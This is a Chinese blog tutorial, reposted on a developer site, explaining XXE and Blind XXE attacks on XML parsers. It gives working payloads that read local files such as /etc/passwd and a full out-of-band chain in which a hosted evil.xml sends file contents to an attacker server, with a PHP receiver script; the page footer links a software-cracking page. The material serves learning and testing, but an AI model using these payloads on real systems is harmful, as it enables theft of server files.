XXE漏洞以及Blind XXE总结「建议收藏」

XXE漏洞以及Blind XXE总结「建议收藏」转载请注明出处:http://blog.csdn.net/u0117215010、前言XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了BlindXXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVGheader)应用比较广泛,此外,网上有一些在线XML格式…

大家好,又见面了,我是你们的朋友全栈君。



转载请注明出处:http://blog.csdn.net/u011721501

0、前言

XXE漏洞是针对使用XML交互的Web应用程序的攻击方法,在XEE漏洞的基础上,发展出了Blind XXE漏洞。目前来看,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛,此外,网上有一些在线XML格式化工具也存在过问题,如开源中国的在线XML格式化工具XXE漏洞:

http://www.wooyun.org/bugs/wooyun-2010-059911。还有一些邮箱预览功能也存在问题, 如网易邮箱doc文件预览:

http://www.wooyun.org/bugs/wooyun-2010-073321。下面是我结合参考文献(最后一节有声明)来研究的成果,意在疏通漏洞的原理,了解利用的细节。

 

 

1、Blind XXE用途

对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:

提交请求:

 

<!ENTITY file SYSTEM “file:///etc/passwd”>
<username>&file;</username>

 

 

服务器在这个节点中返回etc/passwd的文件内容:

 

<username>root:1:3.......</username>

 

 

如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据。

 

2、参数实体和内部参数实体

Blink XXE主要使用了DTD约束中的参数实体和内部实体。

参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。

如:

 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

 

 

 

 

但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。

IE/Firefox:

XXE漏洞以及Blind XXE总结「建议收藏」

XXE漏洞以及Blind XXE总结「建议收藏」

Chrome:

XXE漏洞以及Blind XXE总结「建议收藏」

这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便。

 

3、Blind XXE原理

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。

直接在内部实体定义中引用另一个实体的方法如下,但是这种方法行不通。

<?xml version=”1.0″ encoding=”UTF-8″?>
<!DOCTYPE root [
<!ENTITY % param1 “file:///c:/1.txt”>
<!ENTITY % param2 “http://127.0.0.1/?%param1”>
%param2;
]>

于是考虑内部实体嵌套的形式:

 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "file:///c:/1.txt">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://127.0.0.1/?%param1;'>">
%param2;
]>
<root>
[This is my site]
</root>

 

 

但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

XXE漏洞以及Blind XXE总结「建议收藏」

解决方案是:

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

如下:

【source file】

 

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>

 

 

【evil.xml】

 

<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

 

 

实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。当然,也直接在DTD中引用send实体,如果在evil.xml中,send是个参数实体的话,即以下方式:

【source file】

 

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
 %all;
%send;
]>

 

 

【evil.xml】

 

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

 

 

 

 

7、测试

【1.php】

 

<?php
file_put_contents("1.txt", $_GET['file']) ;
?>

 

 

【test.php】

 

<?php
$xml=<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/passwd.txt">
<!ENTITY % remote SYSTEM "http://192.168.150.1/evil.xml">
%remote;
%all;
	%send;
]>
EOF;
$data = simplexml_load_string($xml) ;
echo "<pre>" ;
print_r($data) ;
?>

 

 

【evil.xml】

 

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://192.168.150.1/1.php?file=%file;'>">

 

 

访问http://localhost/test.php, 这就是模拟攻击者构造XXE请求,然后存在漏洞的服务器会读出file的内容(c:/1.txt),通过带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。

XXE漏洞以及Blind XXE总结「建议收藏」
 

攻击之后1.txt中的数据:

XXE漏洞以及Blind XXE总结「建议收藏」
 

攻击者服务器日志:

XXE漏洞以及Blind XXE总结「建议收藏」

8、总结

遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:

(1)检测XML是否会被解析:

 

 

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY shit “this is shit”>

]>

<root>&shit;</root>

 

 

 

 

如果$shit;变成了”this is shit”,那就继续第二步。

(2)检测服务器是否支持外部实体:

 

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [

<!ENTITY % shit SYSTEM “http://youhost/evil.xml”>

%shit;

]>

 

 

 

 

通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。

(3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。

(4)如果不能回显,毫无疑问,使用Blind XXE攻击方法。

 

另外,这是寒假期间写的东西,难免会有些错误和理解不到位的地方,欢迎讨论与指正。

 

9、参考文献

[1] http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

[2] http://security.tencent.com/index.php/blog/msg/69

[3] bh-eu-13-XML-data-osipov-wp.pdf

[4] XML_Exteral_Entity_Attack.pdf

[5] http://www.91ri.org/9539.html

 

转载请注明出处:http://blog.csdn.net/u011721501

 

 


版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/142245.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • 银行家算法C++实现

    银行家算法C++实现网上有很多银行家算法的源代码,下面是本人自己写的,基本算法模型参考教材。介绍银行家算法(Banker’sAlgorithm)是一个避免死锁(Deadlock)的著名算法,是由艾兹格·迪杰斯特拉(EdsgerWybeDijkstra)在1965年为T.H.E系统设计的一种避免死锁产生的算法。它以银行借贷系统的分配策略为基础,判断并保证系统的安全运行。背景简介在银行中…

  • openssl制作ssl证书_keytool生成证书

    openssl制作ssl证书_keytool生成证书一、生成RSA证书密钥对下载OpenSSLwindows版本https://pan.baidu.com/s/1cBvJ-mwqzuyRwfq2xqHsLg1)生成RSA私钥:opensslgenrsa-outrsa_2048_private_key.pem2048该命令会生成2048位的私钥,生成成功的界面如下:此时我们就可以在当前路径下看到rsa_private_key.pem文件了…

  • Cenos7安装helm3(及常用命令)

    Cenos7安装helm3(及常用命令)

  • clion永久激活码 Ubuntu_通用破解码

    clion永久激活码 Ubuntu_通用破解码,https://javaforall.cn/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

  • Pycharm调试_pycharm 远程调试

    Pycharm调试_pycharm 远程调试动机一些bug由于本地环境和线上环境的不一致可能导致本地无法复现本地依赖和线上依赖版本不一致也可以导致一些问题有时一些bug跟数据相关,本地数据无法和线上数据一致有些三方平台会验证服务器的合法性或者异步回调结果,如微信支付,这时候本地无法测试如上所诉,要是有一个很方便调试远程服务器的方法,岂不美哉。通过PyCharm我们可以很方便地实现远程调试,下面详细介绍下PyCharm这个牛叉的功能。添加远程…

    2022年10月29日
  • 最短路径dijkstra算法精品代码(超详解)

    最短路径dijkstra算法精品代码(超详解)一:简介  这个算法用于解决图中单源最短路径问题。所谓单源节点是指给定源节点,求图中其它节点到此源节点的最短路径。如下图所示:给定源节点a,求节点b到a的最短距离。(图来自于参考资料2)那么如何寻找?还是以上图为例:1)初始化:设定除源节点以外的其它所有节点到源节点的距离为INFINITE(一个很大的数),且这些节点都没被处理过。…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号